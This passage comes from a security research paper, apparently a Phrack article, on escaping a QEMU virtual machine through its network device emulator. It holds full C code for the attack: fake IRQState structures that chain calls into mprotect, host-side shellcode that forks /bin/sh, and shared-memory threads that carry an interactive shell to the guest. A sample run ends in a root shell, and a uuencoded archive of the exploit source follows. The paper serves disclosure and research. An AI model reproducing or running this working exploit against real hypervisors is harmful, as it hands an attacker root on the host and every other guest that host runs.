Note also that one can construct a shellcode by chaining several fake IRQState in order to call multiple functions since qemu_set_irq() is called several times by PCNET device emulator. However, we found that it's more convenient and more reliable to execute a shellcode after having enabled the PROT_EXEC flag of the page memory where the shellcode is located.

Our idea, is to build two fake IRQState structures. The first one is used to make a call to mprotect(). The second one is used to call a shellcode that will undo first the MADV_DONTFORK flag and then runs an interactive shell between the guest and the host.

As stated earlier, when qemu_set_irq() is called, it takes two parameters as input: irq (pointer to IRQstate structure) and level (IRQ level), then calls the handler as following:

```
void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}
```

As shown above, we have control only over the first two parameters. So how to call mprotect() that has three arguments?

To overcome this, we will make qemu_set_irq() calls itself first with the following parameters:

- irq: pointer to a fake IRQState that sets the handler pointer to mprotect()
  function.
- level: mprotect flags set to PROT_READ | PROT_WRITE | PROT_EXEC

This is achieved by setting two fake IRQState as shown by the following snippet code:

```
struct IRQState {
    uint8_t  _nothing[44];
    uint64_t  handler;
    uint64_t  arg_1;
    int32_t   arg_2;
};

struct IRQState  fake_irq[2];
hptr_t fake_irq_mem = gva_to_hva(fake_irq);

/* do qemu_set_irq */
fake_irq[0].handler = qemu_set_irq_addr;
```

```
fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState);
fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC;

/* do mprotect */
fake_irq[1].handler = mprotec_addrt;
fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT;
fake_irq[1].arg_2 = PAGE_SIZE;
```

After overflow takes place, qemu_set_irq() is called with a fake handler that simply recalls qemu_set_irq() which in turns calls mprotect after having adjusted the level parameter to 7 (required flag for mprotect).

The memory is now executable, we can pass the control to our interactive shell by rewriting the handler of the first IRQState to the address of our shellcode:

```
payload.fake_irq[0].handler = shellcode_addr;
payload.fake_irq[0].arg_1 = shellcode_data;
```

----[5.2 - Interactive Shell

Well. We can simply write a basic shellcode that binds a shell to netcat on some port and then connect to that shell from a separate machine. That's a satisfactory solution, but we can do better to avoid firewall restrictions. We can leverage on a shared memory between the guest and the host to build a bindshell.

Exploiting QEMU's vulnerabilities is a little bit subtle as the code we are writing in the guest is already available in the QEMU's process memory. So there is no need to inject a shellcode. Even better, we can share code and make it run on the guest and the attacked host.

The following figure summarizes the shared memory and the process/thread running on the host and the guest.

We create two shared ring buffers (in and out) and provide read/write primitives with spin-lock access to those shared memory areas. On the host machine, we run a shellcode that starts a /bin/sh shell on a separate process after having duplicated first its stdin and stdout file descriptors. We create also two threads. The first one reads commands from the shared memory and passes them to the shell via a pipe. The second threads reads the output of the shell (from a second pipe) and then writes them to the shared memory.

These two threads are also instantiated on the guest machine to write user input commands on the dedicated shared memory and to output the results read from the second ring buffer to stdout, respectively.

Note that in our exploit, we have a third thread (and a dedicated shared area) to handle stderr output.

```
     GUEST                   SHARED MEMORY                  HOST
     -----                   -------------                  ----
 +------------+                                         +------------+
 |  exploit   |                                         |    QEMU    |
 |  (thread)  |                                         |   (main)   |
 +------------+                                         +------------+

 +------------+                                         +------------+
 |  exploit   | sm_write()             head   sm_read() |    QEMU    |
 |  (thread)  |----------+                |-------------|  (thread)  |
 +------------+          |               V              +---------++-+
                         |  xxxxxxxxxxxxxx----+          pipe IN  ||
                         |  x                 |         +---------++-+
                         |  x   ring buffer   |         |    shell   |
                tail ------>x (filled with x) ^         | fork proc. |
                            |                 |         +---------++-+
                            +--------->-------+          pipe OUT ||
```

```
 +------------+                                      +---------++-+
 |  exploit   | sm_read()              tail  sm_write() |    QEMU    |
 |  (thread)  |----------+               |--------------|  (thread)  |
 +------------+          |               V              +------------+
                         |  xxxxxxxxxxxxxx----+
                         |  x                 |
                         |  x   ring buffer   |
               head ------>x (filled with x) ^
                            |                 |
                            +-------->--------+
```

----[5.3 - VM-Escape Exploit

In the section, we outline the main structures and functions used in the full exploit (vm-escape.c).

The injected payload is defined by the following structure:

```
struct payload {
    struct IRQState    fake_irq[2];
    struct shared_data shared_data;
    uint8_t            shellcode[1024];
    uint8_t            pipe_fd2r[1024];
    uint8_t            pipe_r2fd[1024];
};
```

Where fake_irq is a pair of fake IRQState structures responsible to call mprotect() and change the page protection where the payload resides.

The structure shared_data is used to pass arguments to the main shellcode:

```
struct shared_data {
    struct GOT       got;
    uint8_t          shell[64];
    hptr_t           addr;
    struct shared_io shared_io;
    volatile int     done;
};
```

Where the got structure acts as a Global Offset Table. It contains the address of the main functions to run by the shellcode. The addresses of these functions are resolved from the memory leak.

```
struct GOT {
    typeof(open)           *open;
    typeof(close)          *close;
    typeof(read)           *read;
    typeof(write)          *write;
    typeof(dup2)           *dup2;
    typeof(pipe)           *pipe;
    typeof(fork)           *fork;
    typeof(execv)          *execv;
    typeof(malloc)         *malloc;
    typeof(madvise)        *madvise;
    typeof(pthread_create) *pthread_create;
    typeof(pipe_r2fd)      *pipe_r2fd;
    typeof(pipe_fd2r)      *pipe_fd2r;
};
```

The main shellcode is defined by the following function:

```
/* main code to run after %rip control */
void shellcode(struct shared_data *shared_data)
{
    pthread_t t_in, t_out, t_err;
    int in_fds[2], out_fds[2], err_fds[2];
    struct brwpipe *in, *out, *err;
    char *args[2] = { shared_data->shell, NULL };
```

```
    if (shared_data->done) {
        return;
    }

    shared_data->got.madvise((uint64_t *)shared_data->addr,
                             PHY_RAM, MADV_DOFORK);

    shared_data->got.pipe(in_fds);
    shared_data->got.pipe(out_fds);
    shared_data->got.pipe(err_fds);

    in = shared_data->got.malloc(sizeof(struct brwpipe));
    out = shared_data->got.malloc(sizeof(struct brwpipe));
    err = shared_data->got.malloc(sizeof(struct brwpipe));

    in->got = &shared_data->got;
    out->got = &shared_data->got;
    err->got = &shared_data->got;

    in->fd = in_fds[1];
    out->fd = out_fds[0];
    err->fd = err_fds[0];

    in->ring = &shared_data->shared_io.in;
    out->ring = &shared_data->shared_io.out;
    err->ring = &shared_data->shared_io.err;

    if (shared_data->got.fork() == 0) {
        shared_data->got.close(in_fds[1]);
        shared_data->got.close(out_fds[0]);
        shared_data->got.close(err_fds[0]);
        shared_data->got.dup2(in_fds[0], 0);
        shared_data->got.dup2(out_fds[1], 1);
        shared_data->got.dup2(err_fds[1], 2);
        shared_data->got.execv(shared_data->shell, args);
    }
    else {
        shared_data->got.close(in_fds[0]);
        shared_data->got.close(out_fds[1]);
        shared_data->got.close(err_fds[1]);

        shared_data->got.pthread_create(&t_in, NULL,
                                        shared_data->got.pipe_r2fd, in);
        shared_data->got.pthread_create(&t_out, NULL,
                                        shared_data->got.pipe_fd2r, out);
        shared_data->got.pthread_create(&t_err, NULL,
                                        shared_data->got.pipe_fd2r, err);

        shared_data->done = 1;
    }
}
```

The shellcode checks first the flag shared_data->done to avoid running the shellcode multiple times (remember that qemu_set_irq used to pass control to the shellcode is called several times by QEMU code).

The shellcode calls madvise() with shared_data->addr pointing to the physical memory. This is necessary to undo the MADV_DONTFORK flag and hence preserve memory mappings across fork() calls.

The shellcode creates a child process that is responsible to start a shell ("/bin/sh"). The parent process starts threads that make use of shared memory areas to pass shell commands from the guest to the attacked host and then write back the results of these commands to the guest machine. The communication between the parent and the child process is carried by pipes.

As shown below, a shared memory area consists of a ring buffer that is accessed by sm_read() and sm_write() primitives:

```c
struct shared_ring_buf {
    volatile bool lock;
    bool          empty;
    uint8_t       head;
    uint8_t       tail;
    uint8_t       buf[SHARED_BUFFER_SIZE];
};

static inline
__attribute__((always_inline))
ssize_t sm_read(struct GOT *got, struct shared_ring_buf *ring,
                char *out, ssize_t len)
{
    ssize_t read = 0, available = 0;

    do {
        /* spin lock */
        while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

        if (ring->head > ring->tail) { // loop on ring
            available = SHARED_BUFFER_SIZE - ring->head;
        } else {
            available = ring->tail - ring->head;
            if (available == 0 && !ring->empty) {
                available = SHARED_BUFFER_SIZE - ring->head;
            }
        }
        available = MIN(len - read, available);

        imemcpy(out, ring->buf + ring->head, available);
        read += available;
        out += available;
        ring->head += available;

        if (ring->head == SHARED_BUFFER_SIZE)
            ring->head = 0;

        if (available != 0 && ring->head == ring->tail)
            ring->empty = true;

        __atomic_clear(&ring->lock, __ATOMIC_RELAXED);
    } while (available != 0 || read == 0);

    return read;
}

static inline
__attribute__((always_inline))
ssize_t sm_write(struct GOT *got, struct shared_ring_buf *ring,
                 char *in, ssize_t len)
{
    ssize_t written = 0, available = 0;

    do {
        /* spin lock */
        while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

        if (ring->tail > ring->head) { // loop on ring
            available = SHARED_BUFFER_SIZE - ring->tail;
        } else {
            available = ring->head - ring->tail;
            if (available == 0 && ring->empty) {
                available = SHARED_BUFFER_SIZE - ring->tail;
            }
        }
        available = MIN(len - written, available);

        imemcpy(ring->buf + ring->tail, in, available);
        written += available;
```

```
        in += available;
        ring->tail += available;

        if (ring->tail == SHARED_BUFFER_SIZE)
            ring->tail = 0;

        if (available != 0)
            ring->empty = false;

        __atomic_clear(&ring->lock, __ATOMIC_RELAXED);
    } while (written != len);

    return written;
}
```

These primitives are used by the following threads function. The first one reads data from a shared memory area and writes it to a file descriptor. The second one reads data from a file descriptor and writes it to a shared memory area.

```
void *pipe_r2fd(void *_brwpipe)
{
    struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;
    char buf[SHARED_BUFFER_SIZE];
    ssize_t len;

    while (true) {
        len = sm_read(brwpipe->got, brwpipe->ring, buf, sizeof(buf));
        if (len > 0)
            brwpipe->got->write(brwpipe->fd, buf, len);
    }

    return NULL;
} SHELLCODE(pipe_r2fd)

void *pipe_fd2r(void *_brwpipe)
{
    struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;
    char buf[SHARED_BUFFER_SIZE];
    ssize_t len;

    while (true) {
        len = brwpipe->got->read(brwpipe->fd, buf, sizeof(buf));
        if (len < 0) {
            return NULL;
        } else if (len > 0) {
            len = sm_write(brwpipe->got, brwpipe->ring, buf, len);
        }
    }

    return NULL;
}
```

Note that the code of these functions are shared between the host and the guest. These threads are also instantiated in the guest machine to read user input commands and copy them on the dedicated shared memory area (in memory), and to write back the output of these commands available in the corresponding shared memory areas (out and err shared memories):

```
void session(struct shared_io *shared_io)
{
    size_t len;
    pthread_t t_in, t_out, t_err;
    struct GOT got;
    struct brwpipe *in, *out, *err;

    got.read = &read;
    got.write = &write;
```

```
    warnx("[!] enjoy your shell");
    fputs(COLOR_SHELL, stderr);

    in = malloc(sizeof(struct brwpipe));
    out = malloc(sizeof(struct brwpipe));
    err = malloc(sizeof(struct brwpipe));

    in->got = &got;
    out->got = &got;
    err->got = &got;

    in->fd = STDIN_FILENO;
    out->fd = STDOUT_FILENO;
    err->fd = STDERR_FILENO;

    in->ring = &shared_io->in;
    out->ring = &shared_io->out;
    err->ring = &shared_io->err;

    pthread_create(&t_in, NULL, pipe_fd2r, in);
    pthread_create(&t_out, NULL, pipe_r2fd, out);
    pthread_create(&t_err, NULL, pipe_r2fd, err);

    pthread_join(t_in, NULL);
    pthread_join(t_out, NULL);
    pthread_join(t_err, NULL);
}
```

The figure presented in the previous section illustrates the shared memories and the processes/threads started in the guest and the host machines.

The exploit targets a vulnerable version of QEMU built using version 4.9.2 of Gcc. In order to adapt the exploit to a specific QEMU build, we provide a shell script (build-exploit.sh) that will output a C header with the required offsets:

```
    $ ./build-exploit <path-to-qemu-binary> > qemu.h
```

Running the full exploit (vm-escape.c) will result in the following output:

```
    $ ./vm-escape
    $ exploit: [+] found 190 potential ObjectProperty structs in memory
    $ exploit: [+] .text mapped at 0x7fb6c55c3620
    $ exploit: [+] mprotect mapped at 0x7fb6c55c0f10
    $ exploit: [+] qemu_set_irq mapped at 0x7fb6c5795347
    $ exploit: [+] VM physical memory mapped at 0x7fb630000000
    $ exploit: [+] payload at 0x7fb6a8913000
    $ exploit: [+] patching packet ...
    $ exploit: [+] running first attack stage
    $ exploit: [+] running shellcode at 0x7fb6a89132d0
    $ exploit: [!] enjoy your shell
    $ shell > id
    $ uid=0(root) gid=0(root) ...
```

----[5.4 - Limitations

Please note that the current exploit is still somehow unreliable. In our testing environment (Debian 7 running a 3.16 kernel on x_86_64 arch), we have observed a failure rate of approximately 1 in 10 runnings. In most unsuccessful attempts, the exploit fails to reconstruct the memory layout of QEMU due to unusable leaked data.

The exploit does not work on linux kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. In this case QEMU binary (compiled by default with -fPIE) is mapped into a separate address space as shown by the following listing:

```
55e5e3fdd000-55e5e4594000 r-xp 00000000 fe:01 6940407   [qemu-system-x86_64]
```

```
55e5e4794000-55e5e4862000 r--p 005b7000 fe:01 6940407           ...
55e5e4862000-55e5e48e3000 rw-p 00685000 fe:01 6940407           ...
55e5e48e3000-55e5e4d71000 rw-p 00000000 00:00 0
55e5e6156000-55e5e7931000 rw-p 00000000 00:00 0         [heap]

7fb80b4f5000-7fb80c000000 rw-p 00000000 00:00 0
7fb80c000000-7fb88c000000 rw-p 00000000 00:00 0         [2 GB of RAM]
7fb88c000000-7fb88c915000 rw-p 00000000 00:00 0
                     ...
7fb89b6a0000-7fb89b6cb000 r-xp 00000000 fe:01 794385    [first shared lib]
7fb89b6cb000-7fb89b8cb000 ---p 0002b000 fe:01 794385            ...
7fb89b8cb000-7fb89b8cc000 r--p 0002b000 fe:01 794385            ...
7fb89b8cc000-7fb89b8cd000 rw-p 0002c000 fe:01 794385            ...
                     ...
7ffd8f8f8000-7ffd8f91a000 rw-p 00000000 00:00 0         [stack]
7ffd8f970000-7ffd8f972000 r--p 00000000 00:00 0         [vvar]
7ffd8f972000-7ffd8f974000 r-xp 00000000 00:00 0         [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
```

As a consequence, our 4-byte overflow is not sufficient to dereference the irq pointer (originally located in the heap somewhere at 0x55xxxxxxxxxx) so that it points to our fake IRQState structure (injected somewhere at 0x7fxxxxxxxxxx).

--[6 - Conclusions

In this paper, we have presented two exploits on QEMU's network device emulators. The combination of these exploits make it possible to break out from a VM and execute code on the host.

During this work, we have probably crashed our testing VM more that one thousand times. It was tedious to debug unsuccessful exploit attempts, especially, with a complex shellcode that spawns several threads an processes. So, we hope, that we have provided sufficient technical details and generic techniques that could be reused for further exploitation on QEMU.

--[7 - Greets

We would like to thank Pierre-Sylvain Desse for his insightful comments. Greets to coldshell, and Kevin Schouteeten for helping us to test on various environments.

Thanks also to Nelson Elhage for his seminal work on VM-escape.

And a big thank to the reviewers of the Phrack Staff for challenging us to improve the paper and the code.

--[8 - References

[1] http://venom.crowdstrike.com
[2] media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf
[3] https://github.com/nelhage/virtunoid/blob/master/virtunoid.c
[4] http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf
[5] https://www.kernel.org/doc/Documentation/vm/pagemap.txt
[6] https://blog.affien.com/archives/2005/07/15/reversing-crc/

--[9 - Source Code


```
begin 644 vm_escape.tar.gz
M'XL(`"[OTU@``^Q:Z7,:29;W5_%7Y*AC.L"-I<RJK*RJMML3"$H6801:0#ZV
M#R)/B6BN@<(M;4_OW[XO7R*!D+KMV)C>C8V=^B"*S'?^WI$OL3]-1W:EY<(>
M/_O3'@I/FB3^DZ4)W?V\>YZQF`J>BC3FXAEE4<RC9R3Y\TS:/NM5*9>$/)N6
M<J+&OT_WN?W_H\^G^_A/I^LC_:?H\`$6G/]>_".:I#[^,=!`!C"(?PS?GA'Z
MIUBS]_P_C_]7XYF>K(TEKU:E&<^/KE]7=I>6X]G5_IH9S\I':Y.Q>KCF]*R<
M/%R2JY5=[K&"K/)V85=^M?*5L6X\L^2B\:88#<[:IT-"6+2WW/[W@A!29>35
MJQW"VI;JM#NZZ!>#HCL$JO5DX@E%O$=PVB7^J=Y3)$F-O""L5JF`2<29EY7*
M&M[B:%22A;RRH[ES*UM6[Q>E,<M:Y=>*%[.TY7HYPR7RM1>Z9QQ*?EGY+<@4
M'-BO/LE1.1]=N5GUTWQLR/,[>0?W)(NIK1,@>%DY6(W_P\)*L`&^AQ?R'>CR
```

```
MY(MR.2IKJ/[U:Y+7P(C_3(%LLK+VYZHS]0UGG0R*XNUH4`S!FH.EE08WOT9-
MF5\;.U+]2Q6^@X@=)&NURL'!QLL7#.C`+-"^0W?:18E(@38_Y>Q"_JZS0>`.
M*D@",D/65/W^7[X#Y;6M'ES<0_H?#Z)5O9-?VXC[+<1W*L>SZKT!&>A_#AB^
MW`4?()W:*:3!@3-@V7QA9]7#X\5RKH]7=N*.O9JI7!S626_4;_6ZG8]W^``']
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
_&457P,K_Q.5]C]O02K>_S/;QA'(H!_!1P`+`X5/'?Q)4YK&,/3X=VNI%2S2
_CW/:9XP)>O(D`JC.<N1@0KI>.:0(1>Q3.($&:S@>2+CP&"-RK(X0H;<:)5)
MC@S4)#9G%AE2$YD\RP)#K@37D4(&JUBJE4&&5&61H2DR4.68R1DR,*-21@5*
%5)!'W.HS<4J3QG/_'O&E>7,V,`@C30\1:G"&&.Y16V.&ZZ2A"%#;.(LT6E@
B(7.LP21$5PHF6E$S!D1N3R5R"!%HG.K`P.G+-$<D1$Q%4(;1,Q)ZF(C8F0P
-*/&)<@0*V$CJM%6KD7.:(+(F$10SBSZ)B.1IBR-`H.FL>4&;>6*@N4<D3$1
-5GBT#>94*D2H0)#HA*9.;251RK*,X'1-4HIG1OT36JE78YS`C!$!D@LVLH3
,%2G&%VCC:!&HV]2&1:;)$>&2)@\IA*E)H`UI3%JTYE)$^A&_ETY0P5C(C`P
Q1T@C@Q"Q9I'J$T[)?,D1\14I@SXX0)#1B.5Y8A,XFB29101TX("P`JCKAA5
-H]X8'#"I3I#9)),9%PS1$PS,,)(C+H20D0F-LBPR6ZTE6X2"Q,N,U%$%?IF
G4D8C4(]I$RQ+,G05BJ44`E#9'*GG.42?;.9R@R/0SVD&4UU+M%6ZBAU>8S1
S07-99:A;Y91FV<LU$/JA*00)63(!%@:871S!JFH<_3-"A$GFH9ZV%B!4ID6
```

```
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
